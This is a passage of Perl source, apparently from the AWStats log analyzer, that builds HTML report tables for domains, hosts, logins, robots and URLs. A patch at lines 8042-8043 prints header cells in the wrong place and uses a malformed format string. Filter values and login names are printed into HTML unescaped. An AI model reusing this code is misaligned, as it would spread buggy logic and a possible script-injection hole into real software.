7993 # TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
7994 if (!$TotalSearchEnginesHits) { foreach (keys %_se_referrals_h) { $TotalSearchEnginesHits+=$_se_referrals_h{$_}; } }
7995 # TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
7996 if (!$TotalRefererPages) { foreach (keys %_pagesrefs_p) { $TotalRefererPages+=$_pagesrefs_p{$_}; } }
7997 # TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
7998 if (!$TotalRefererHits) { foreach (keys %_pagesrefs_h) { $TotalRefererHits+=$_pagesrefs_h{$_}; } }
7999 # TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
8000 $TotalDifferentPages||=scalar keys %_url_p;
8001 # TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
8002 $TotalDifferentKeyphrases||=scalar keys %_keyphrases;
8003 # TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
8004 $TotalDifferentKeywords||=scalar keys %_keywords;
8005 # TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
8006 $TotalDifferentSearchEngines||=scalar keys %_se_referrals_h;
8007 # TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
8008 $TotalDifferentReferer||=scalar keys %_pagesrefs_h;
8009
8010 # Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
8011 my $firstdaytocountaverage=$nowyear.$nowmonth."01"; # Set day cursor to 1st day of month
8012 my $firstdaytoshowtime=$nowyear.$nowmonth."01"; # Set day cursor to 1st day of month
8013 my $lastdaytocountaverage=$nowyear.$nowmonth.$nowday; # Set day cursor to today
8014 my $lastdaytoshowtime=$nowyear.$nowmonth."31"; # Set day cursor to last day of month
8015 if ($MonthRequired eq 'all') {
8016 $firstdaytocountaverage=$YearRequired."0101"; # Set day cursor to 1st day of the required year
8017 }
8018 if (($MonthRequired ne $nowmonth && $MonthRequired ne 'all') || $YearRequired ne $nowyear) {
8019 if ($MonthRequired eq 'all') {
8020 $firstdaytocountaverage=$YearRequired."0101"; # Set day cursor to 1st day of the required year
8021 $firstdaytoshowtime=$YearRequired."1201"; # Set day cursor to 1st day of last month of required year
8022 $lastdaytocountaverage=$YearRequired."1231"; # Set day cursor to last day of the required year
8023 $lastdaytoshowtime=$YearRequired."1231"; # Set day cursor to last day of last month of required year
8024 }
8025 else {
8026 $firstdaytocountaverage=$YearRequired.$MonthRequired."01"; # Set day cursor to 1st day of the required month
8027 $firstdaytoshowtime=$YearRequired.$MonthRequired."01"; # Set day cursor to 1st day of the required month
8028 $lastdaytocountaverage=$YearRequired.$MonthRequired."31"; # Set day cursor to last day of the required month
8029 $lastdaytoshowtime=$YearRequired.$MonthRequired."31"; # Set day cursor to last day of the required month
8030 }
8031 }
8032 if ($Debug) {
8033 debug("firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",1);
8034 debug("firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",1);
8035 }
8036
8037 # Call to plugins' function AddHTMLContentHeader
8038 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLContentHeader'}}) {
8039# my $function="AddHTMLContentHeader_$pluginname()";
8040# eval("$function");
8041 # to add unique visitors & number of visits, by J Ruano @ CAPSiDE
8042 if ($ShowDomainsStats =~ /U/i) { print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; }
8043 if ($ShowDomainsStats =~ /V/i) { print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; }
8044
8045 my $function="AddHTMLContentHeader_$pluginname";
8046 &$function();
8047 }
8048
8049 # Output particular part
8050 #-----------------------
8051 if (scalar keys %HTMLOutput == 1) {
8052
8053 if ($HTMLOutput{'alldomains'}) {
8054 print "$Center<a name=\"domains\">&nbsp;</a><br />\n";
8055 # Show domains list
8056 my $title=''; my $cpt=0;
8057 if ($HTMLOutput{'alldomains'}) { $title.="$Message[25]"; $cpt=(scalar keys %_domener_h); }
8058 &tab_head("$title",19,0,'domains');
8059 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
8060 if ($ShowDomainsStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; }
8061 if ($ShowDomainsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
8062 if ($ShowDomainsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
8063 print "<th>&nbsp;</th>";
8064 print "</tr>\n";
8065 $total_u=$total_v=$total_p=$total_h=$total_k=0;
8066 $max_h=1; foreach (values %_domener_h) { if ($_ > $max_h) { $max_h = $_; } }
8067 $max_k=1; foreach (values %_domener_k) { if ($_ > $max_k) { $max_k = $_; } }
8068 my $count=0;
8069 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_domener_h,\%_domener_p);
8070 foreach my $key (@keylist) {
8071 my ($_domener_u, $_domener_v);
8072 my $bredde_p=0;my $bredde_h=0;my $bredde_k=0;
8073 if ($max_h > 0) { $bredde_p=int($BarWidth*$_domener_p{$key}/$max_h)+1; } # use max_h to enable to compare pages with hits
8074 if ($_domener_p{$key} && $bredde_p==1) { $bredde_p=2; }
8075 if ($max_h > 0) { $bredde_h=int($BarWidth*$_domener_h{$key}/$max_h)+1; }
8076 if ($_domener_h{$key} && $bredde_h==1) { $bredde_h=2; }
8077 if ($max_k > 0) { $bredde_k=int($BarWidth*($_domener_k{$key}||0)/$max_k)+1; }
8078 if ($_domener_k{$key} && $bredde_k==1) { $bredde_k=2; }
8079 my $newkey=lc($key);
8080 if ($newkey eq 'ip' || ! $DomainsHashIDLib{$newkey}) {
8081 print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"".AltTitle("$Message[0]")." /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
8082 }
8083 else {
8084 print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"".AltTitle("$newkey")." /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
8085 }
8086 ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
8087 if ($ShowDomainsStats =~ /U/i) {
8088 $_domener_u = ($_domener_p{$key} ? $_domener_p{$key}/$TotalPages : 0);
8089 $_domener_u += ($_domener_h{$key}/$TotalHits);
8090 $_domener_u = sprintf("%.0f", ($_domener_u * $TotalUnique) / 2);
8091 print "<td>$_domener_u (" . sprintf("%.1f%", 100*$_domener_u/$TotalUnique) . ")</td>";
8092 }
8093 if ($ShowDomainsStats =~ /V/i) {
8094 $_domener_v = ($_domener_p{$key} ? $_domener_p{$key}/$TotalPages : 0);
8095 $_domener_v += ($_domener_h{$key}/$TotalHits);
8096 $_domener_v = sprintf("%.0f", ($_domener_v * $TotalVisits) / 2);
8097 print "<td>$_domener_v (" . sprintf("%.1f%", 100*$_domener_v/$TotalVisits) . ")</td>";
8098 }
8099 if ($ShowDomainsStats =~ /P/i) { print "<td>$_domener_p{$key}</td>"; }
8100 if ($ShowDomainsStats =~ /H/i) { print "<td>$_domener_h{$key}</td>"; }
8101 if ($ShowDomainsStats =~ /B/i) { print "<td>".Format_Bytes($_domener_k{$key})."</td>"; }
8102 print "<td class=\"aws\">";
8103 if ($ShowDomainsStats =~ /P/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"".AltTitle("$Message[56]: ".int($_domener_p{$key}))." /><br />\n"; }
8104 if ($ShowDomainsStats =~ /H/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"".AltTitle("$Message[57]: ".int($_domener_h{$key}))." /><br />\n"; }
8105 if ($ShowDomainsStats =~ /B/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"".AltTitle("$Message[75]: ".Format_Bytes($_domener_k{$key}))." />"; }
8106 print "</td>";
8107 print "</tr>\n";
8108 $total_u += $_domener_u;
8109 $total_v += $_domener_v;
8110 $total_p += $_domener_p{$key};
8111 $total_h += $_domener_h{$key};
8112 $total_k += $_domener_k{$key}||0;
8113 $count++;
8114 }
8115 my $rest_u = $TotalUnique - $total_u;
8116 my $rest_v = $TotalVisits - $total_v;
8117 $rest_p=$TotalPages-$total_p;
8118 $rest_h=$TotalHits-$total_h;
8119 $rest_k=$TotalBytes-$total_k;
8120 if ($rest_u > 0 || $rest_v > 0 || $rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other domains (known or not)
8121 print "<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8122 if ($ShowDomainsStats =~ /U/i) { print "<td>$rest_u</td>"; }
8123 if ($ShowDomainsStats =~ /V/i) { print "<td>$rest_v</td>"; }
8124 if ($ShowDomainsStats =~ /P/i) { print "<td>$rest_p</td>"; }
8125 if ($ShowDomainsStats =~ /H/i) { print "<td>$rest_h</td>"; }
8126 if ($ShowDomainsStats =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
8127 print "<td class=\"aws\">&nbsp;</td>";
8128 print "</tr>\n";
8129 }
8130 &tab_end();
8131 &html_end(1);
8132 }
8133 if ($HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'}) {
8134 print "$Center<a name=\"hosts\">&nbsp;</a><br />\n";
8135 # Show filter form
8136 &ShowFormFilter("hostfilter",$FilterIn{'host'},$FilterEx{'host'});
8137 # Show hosts list
8138 my $title=''; my $cpt=0;
8139 if ($HTMLOutput{'allhosts'}) { $title.="$Message[81]"; $cpt=(scalar keys %_host_h); }
8140 if ($HTMLOutput{'lasthosts'}) { $title.="$Message[9]"; $cpt=(scalar keys %_host_h); }
8141 &tab_head("$title",19,0,'hosts');
8142 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
8143 if ($FilterIn{'host'} || $FilterEx{'host'}) { # With filter
8144 if ($FilterIn{'host'}) { print "$Message[79] '<b>$FilterIn{'host'}</b>'"; }
8145 if ($FilterIn{'host'} && $FilterEx{'host'}) { print " - "; }
8146 if ($FilterEx{'host'}) { print " Exlude $Message[79] '<b>$FilterEx{'host'}</b>'"; }
8147 if ($FilterIn{'host'} || $FilterEx{'host'}) { print ": "; }
8148 print "$cpt $Message[81]";
8149 if ($MonthRequired ne 'all') {
8150 if ($HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'}) { print "<br />$Message[102]: $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1] - $TotalUnique $Message[11]"; }
8151 }
8152 }
8153 else { # Without filter
8154 if ($MonthRequired ne 'all') { print "$Message[102] : $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1] - $TotalUnique $Message[11]"; }
8155 else { print "$Message[102] : ".(scalar keys %_host_h); }
8156 }
8157 print "</th>";
8158 &ShowHostInfo('__title__');
8159 if ($ShowHostsStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; }
8160 if ($ShowHostsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
8161 if ($ShowHostsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
8162 if ($ShowHostsStats =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
8163 print "</tr>\n";
8164 $total_p=$total_h=$total_k=0;
8165 my $count=0;
8166 if ($HTMLOutput{'allhosts'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Host'},\%_host_h,\%_host_p); }
8167 if ($HTMLOutput{'lasthosts'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Host'},\%_host_h,\%_host_l); }
8168 foreach my $key (@keylist) {
8169 my $host=CleanXSS($key);
8170 print "<tr><td class=\"aws\">".($_robot_l{$key}?'<b>':'')."$host".($_robot_l{$key}?'</b>':'')."</td>";
8171 &ShowHostInfo($key);
8172 if ($ShowHostsStats =~ /P/i) { print "<td>".($_host_p{$key}?$_host_p{$key}:"&nbsp;")."</td>"; }
8173 if ($ShowHostsStats =~ /H/i) { print "<td>$_host_h{$key}</td>"; }
8174 if ($ShowHostsStats =~ /B/i) { print "<td>".Format_Bytes($_host_k{$key})."</td>"; }
8175 if ($ShowHostsStats =~ /L/i) { print "<td>".($_host_l{$key}?Format_Date($_host_l{$key},1):'-')."</td>"; }
8176 print "</tr>\n";
8177 $total_p += $_host_p{$key};
8178 $total_h += $_host_h{$key};
8179 $total_k += $_host_k{$key}||0;
8180 $count++;
8181 }
8182 if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); }
8183 $rest_p=$TotalPages-$total_p;
8184 $rest_h=$TotalHits-$total_h;
8185 $rest_k=$TotalBytes-$total_k;
8186 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other visitors (known or not)
8187 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8188 &ShowHostInfo('');
8189 if ($ShowHostsStats =~ /P/i) { print "<td>".($rest_p?$rest_p:"&nbsp;")."</td>"; }
8190 if ($ShowHostsStats =~ /H/i) { print "<td>$rest_h</td>"; }
8191 if ($ShowHostsStats =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
8192 if ($ShowHostsStats =~ /L/i) { print "<td>&nbsp;</td>"; }
8193 print "</tr>\n";
8194 }
8195 &tab_end();
8196 &html_end(1);
8197 }
8198 if ($HTMLOutput{'unknownip'}) {
8199 print "$Center<a name=\"unknownip\">&nbsp;</a><br />\n";
8200 &tab_head("$Message[45]",19,0,'unknownwip');
8201 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".(scalar keys %_host_h)." $Message[1]</th>";
8202 &ShowHostInfo('__title__');
8203 if ($ShowHostsStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; }
8204 if ($ShowHostsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
8205 if ($ShowHostsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
8206 if ($ShowHostsStats =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
8207 print "</tr>\n";
8208 $total_p=$total_h=$total_k=0;
8209 my $count=0;
8210 &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Host'},\%_host_h,\%_host_p);
8211 foreach my $key (@keylist) {
8212 my $host=CleanXSS($key);
8213 print "<tr><td class=\"aws\">$host</td>";
8214 &ShowHostInfo($key);
8215 if ($ShowHostsStats =~ /P/i) { print "<td>".($_host_p{$key}?$_host_p{$key}:"&nbsp;")."</td>"; }
8216 if ($ShowHostsStats =~ /H/i) { print "<td>$_host_h{$key}</td>"; }
8217 if ($ShowHostsStats =~ /B/i) { print "<td>".Format_Bytes($_host_k{$key})."</td>"; }
8218 if ($ShowHostsStats =~ /L/i) { print "<td>".($_host_l{$key}?Format_Date($_host_l{$key},1):'-')."</td>"; }
8219 print "</tr>\n";
8220 $total_p += $_host_p{$key};
8221 $total_h += $_host_h{$key};
8222 $total_k += $_host_k{$key}||0;
8223 $count++;
8224 }
8225 if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); }
8226 $rest_p=$TotalPages-$total_p;
8227 $rest_h=$TotalHits-$total_h;
8228 $rest_k=$TotalBytes-$total_k;
8229 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other visitors (known or not)
8230 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
8231 &ShowHostInfo('');
8232 if ($ShowHostsStats =~ /P/i) { print "<td>".($rest_p?$rest_p:"&nbsp;")."</td>"; }
8233 if ($ShowHostsStats =~ /H/i) { print "<td>$rest_h</td>"; }
8234 if ($ShowHostsStats =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
8235 if ($ShowHostsStats =~ /L/i) { print "<td>&nbsp;</td>"; }
8236 print "</tr>\n";
8237 }
8238 &tab_end();
8239 &html_end(1);
8240 }
8241 if ($HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'}) {
8242 &ShowEmailSendersChart($NewLinkParams,$NewLinkTarget);
8243 &html_end(1);
8244 }
8245 if ($HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'}) {
8246 &ShowEmailReceiversChart($NewLinkParams,$NewLinkTarget);
8247 &html_end(1);
8248 }
8249 if ($HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'}) {
8250 print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
8251 my $title='';
8252 if ($HTMLOutput{'alllogins'}) { $title.="$Message[94]"; }
8253 if ($HTMLOutput{'lastlogins'}) { $title.="$Message[9]"; }
8254 &tab_head("$title",19,0,'logins');
8255 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : ".(scalar keys %_login_h)."</th>";
8256 &ShowUserInfo('__title__');
8257 if ($ShowAuthenticatedUsers =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; }
8258 if ($ShowAuthenticatedUsers =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
8259 if ($ShowAuthenticatedUsers =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
8260 if ($ShowAuthenticatedUsers =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
8261 print "</tr>\n";
8262 $total_p=$total_h=$total_k=0;
8263 my $count=0;
8264 if ($HTMLOutput{'alllogins'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Host'},\%_login_h,\%_login_p); }
8265 if ($HTMLOutput{'lastlogins'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Host'},\%_login_h,\%_login_l); }
8266 foreach my $key (@keylist) {
8267 print "<tr><td class=\"aws\">$key</td>";
8268 &ShowUserInfo($key);
8269 if ($ShowAuthenticatedUsers =~ /P/i) { print "<td>".($_login_p{$key}?$_login_p{$key}:"&nbsp;")."</td>"; }
8270 if ($ShowAuthenticatedUsers =~ /H/i) { print "<td>$_login_h{$key}</td>"; }
8271 if ($ShowAuthenticatedUsers =~ /B/i) { print "<td>".Format_Bytes($_login_k{$key})."</td>"; }
8272 if ($ShowAuthenticatedUsers =~ /L/i) { print "<td>".($_login_l{$key}?Format_Date($_login_l{$key},1):'-')."</td>"; }
8273 print "</tr>\n";
8274 $total_p += $_login_p{$key}||0;
8275 $total_h += $_login_h{$key};
8276 $total_k += $_login_k{$key}||0;
8277 $count++;
8278 }
8279 if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); }
8280 $rest_p=$TotalPages-$total_p;
8281 $rest_h=$TotalHits-$total_h;
8282 $rest_k=$TotalBytes-$total_k;
8283 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other logins and/or anonymous
8284 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
8285 &ShowUserInfo('');
8286 if ($ShowAuthenticatedUsers =~ /P/i) { print "<td>".($rest_p?$rest_p:"&nbsp;")."</td>"; }
8287 if ($ShowAuthenticatedUsers =~ /H/i) { print "<td>$rest_h</td>"; }
8288 if ($ShowAuthenticatedUsers =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
8289 if ($ShowAuthenticatedUsers =~ /L/i) { print "<td>&nbsp;</td>"; }
8290 print "</tr>\n";
8291 }
8292 &tab_end();
8293 &html_end(1);
8294 }
8295 if ($HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'}) {
8296 print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
8297 my $title='';
8298 if ($HTMLOutput{'allrobots'}) { $title.="$Message[53]"; }
8299 if ($HTMLOutput{'lastrobots'}) { $title.="$Message[9]"; }
8300 &tab_head("$title",19,0,'robots');
8301 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".(scalar keys %_robot_h)." $Message[51]</th>";
8302 if ($ShowRobotsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
8303 if ($ShowRobotsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
8304 if ($ShowRobotsStats =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
8305 print "</tr>\n";
8306 $total_p=$total_h=$total_k=$total_r=0;
8307 my $count=0;
8308 if ($HTMLOutput{'allrobots'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Robot'},\%_robot_h,\%_robot_h); }
8309 if ($HTMLOutput{'lastrobots'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Robot'},\%_robot_h,\%_robot_l); }
8310 foreach my $key (@keylist) {
8311 print "<tr><td class=\"aws\">".($RobotsHashIDLib{$key}?$RobotsHashIDLib{$key}:$key)."</td>";
8312 if ($ShowRobotsStats =~ /H/i) { print "<td>".($_robot_h{$key}-$_robot_r{$key}).($_robot_r{$key}?"+$_robot_r{$key}":"")."</td>"; }
8313 if ($ShowRobotsStats =~ /B/i) { print "<td>".Format_Bytes($_robot_k{$key})."</td>"; }
8314 if ($ShowRobotsStats =~ /L/i) { print "<td>".($_robot_l{$key}?Format_Date($_robot_l{$key},1):'-')."</td>"; }
8315 print "</tr>\n";
8316 #$total_p += $_robot_p{$key}||0;
8317 $total_h += $_robot_h{$key};
8318 $total_k += $_robot_k{$key}||0;
8319 $total_r += $_robot_r{$key}||0;
8320 $count++;
8321 }
8322 # For bots we need to count Totals
8323 my $TotalPagesRobots = 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
8324 my $TotalHitsRobots = 0; foreach (values %_robot_h) { $TotalHitsRobots+=$_; }
8325 my $TotalBytesRobots = 0; foreach (values %_robot_k) { $TotalBytesRobots+=$_; }
8326 my $TotalRRobots = 0; foreach (values %_robot_r) { $TotalRRobots+=$_; }
8327 $rest_p=0; #$rest_p=$TotalPagesRobots-$total_p;
8328 $rest_h=$TotalHitsRobots-$total_h;
8329 $rest_k=$TotalBytesRobots-$total_k;
8330 $rest_r=$TotalRRobots-$total_r;
8331 if ($Debug) { debug("Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",2); }
8332 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0) { # All other robots
8333 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
8334 if ($ShowRobotsStats =~ /H/i) { print "<td>$rest_h</td>"; }
8335 if ($ShowRobotsStats =~ /B/i) { print "<td>".(Format_Bytes($rest_k))."</td>"; }
8336 if ($ShowRobotsStats =~ /L/i) { print "<td>&nbsp;</td>"; }
8337 print "</tr>\n";
8338 }
8339 &tab_end("* $Message[156]".($TotalRRobots?" $Message[157]":""));
8340 &html_end(1);
8341 }
8342 if ($HTMLOutput{'urldetail'} || $HTMLOutput{'urlentry'} || $HTMLOutput{'urlexit'}) {
8343 # Call to plugins' function ShowPagesFilter
8344 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesFilter'}}) {
8345# my $function="ShowPagesFilter_$pluginname()";
8346# eval("$function");
8347 my $function="ShowPagesFilter_$pluginname";
8348 &$function();
8349 }
8350 print "$Center<a name=\"urls\">&nbsp;</a><br />\n";
8351 # Show filter form
8352 &ShowFormFilter("urlfilter",$FilterIn{'url'},$FilterEx{'url'});
8353 # Show URL list
8354 my $title=''; my $cpt=0;
8355 if ($HTMLOutput{'urldetail'}) { $title=$Message[19]; $cpt=(scalar keys %_url_p); }
8356 if ($HTMLOutput{'urlentry'}) { $title=$Message[104]; $cpt=(scalar keys %_url_e); }
8357 if ($HTMLOutput{'urlexit'}) { $title=$Message[116]; $cpt=(scalar keys %_url_x); }
8358 &tab_head("$title",19,0,'urls');
8359 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
8360 if ($FilterIn{'url'} || $FilterEx{'url'}) {
8361 if ($FilterIn{'url'}) { print "$Message[79] <b>$FilterIn{'url'}</b>"; }
8362 if ($FilterIn{'url'} && $FilterEx{'url'}) { print " - "; }
8363 if ($FilterEx{'url'}) { print "Exclude $Message[79] <b>$FilterEx{'url'}</b>"; }
8364 if ($FilterIn{'url'} || $FilterEx{'url'}) { print ": "; }
8365 print "$cpt $Message[28]";
8366 if ($MonthRequired ne 'all') {
8367 if ($HTMLOutput{'urldetail'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
8368 }
8369 }
8370 else { print "$Message[102]: $cpt $Message[28]"; }
8371 print "</th>";
8372 if ($ShowPagesStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; }
8373 if ($ShowPagesStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; }
8374 if ($ShowPagesStats =~ /E/i) { print "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; }
8375 if ($ShowPagesStats =~ /X/i) { print "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; }
8376 # Call to plugins' function ShowPagesAddField
8377 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesAddField'}}) {
8378# my $function="ShowPagesAddField_$pluginname('title')";
8379# eval("$function");
8380 my $function="ShowPagesAddField_$pluginname";
8381 &$function('title');
8382 }
8383 print "<th>&nbsp;</th></tr>\n";
8384 $total_p=$total_k=$total_e=$total_x=0;
8385 my $count=0;
8386 if ($HTMLOutput{'urlentry'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'File'},\%_url_e,\%_url_e); }
8387 elsif ($HTMLOutput{'urlexit'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'File'},\%_url_x,\%_url_x); }
8388 else { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'File'},\%_url_p,\%_url_p); }
8389 $max_p=1; $max_k=1;
8390 foreach my $key (@keylist) {
8391 if ($_url_p{$key} > $max_p) { $max_p = $_url_p{$key}; }
8392 if ($_url_k{$key}/($_url_p{$key}||1) > $max_k) { $max_k = $_url_k{$key}/($_url_p{$key}||1); }
8393 }
8394 foreach my $key (@keylist) {
8395 print "<tr><td class=\"aws\">";
8396 &ShowURLInfo($key);
8397 print "</td>";
8398 my $bredde_p=0; my $bredde_e=0; my $bredde_x=0; my $bredde_k=0;
8399 if ($max_p > 0) { $bredde_p=int($BarWidth*($_url_p{$key}||0)/$max_p)+1; }
8400 if (($bredde_p==1) && $_url_p{$key}) { $bredde_p=2; }
8401 if ($max_p > 0) { $bredde_e=int($BarWidth*($_url_e{$key}||0)/$max_p)+1; }
8402 if (($bredde_e==1) && $_url_e{$key}) { $bredde_e=2; }
8403 if ($max_p > 0) { $bredde_x=int($BarWidth*($_url_x{$key}||0)/$max_p)+1; }
8404 if (($bredde_x==1) && $_url_x{$key}) { $bredde_x=2; }
8405 if ($max_k > 0) { $bredde_k=int($BarWidth*(($_url_k{$key}||0)/($_url_p{$key}||1))/$max_k)+1; }
8406 if (($bredde_k==1) && $_url_k{$key}) { $bredde_k=2; }
8407 if ($ShowPagesStats =~ /P/i) { print "<td>$_url_p{$key}</td>"; }
8408 if ($ShowPagesStats =~ /B/i) { print "<td>".($_url_k{$key}?Format_Bytes($_url_k{$key}/($_url_p{$key}||1)):"&nbsp;")."</td>"; }
8409 if ($ShowPagesStats =~ /E/i) { print "<td>".($_url_e{$key}?$_url_e{$key}:"&nbsp;")."</td>"; }
8410 if ($ShowPagesStats =~ /X/i) { print "<td>".($_url_x{$key}?$_url_x{$key}:"&nbsp;")."</td>"; }
8411 # Call to plugins' function ShowPagesAddField
8412 foreach my $pluginname (keys %{$PluginsLoaded{'ShowPagesAddField'}}) {
8413# my $function="ShowPagesAddField_$pluginname('$key')";
8414# eval("$function");
8415 my $function="ShowPagesAddField_$pluginname";
8416 &$function($key);
8417 }
8418 print "<td class=\"aws\">";
8419 # alt and title are not provided to reduce page size
8420 if ($ShowPagesStats =~ /P/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />"; }
8421 if ($ShowPagesStats =~ /B/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />"; }
8422 if ($ShowPagesStats =~ /E/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />"; }
8423 if ($ShowPagesStats =~ /X/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />"; }
8424 print "</td></tr>\n";
8425 $total_p += $_url_p{$key};
8426 $total_e += $_url_e{$key};
8427 $total_x += $_url_x{$key};
8428 $total_k += $_url_k{$key};
8429 $count++;
8430 }
8431 if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",2); }
8432 $rest_p=$TotalPages-$total_p;
8433 $rest_k=$TotalBytesPages-$total_k;
8434 $rest_e=$TotalEntries-$total_e;
8435 $rest_x=$TotalExits-$total_x;
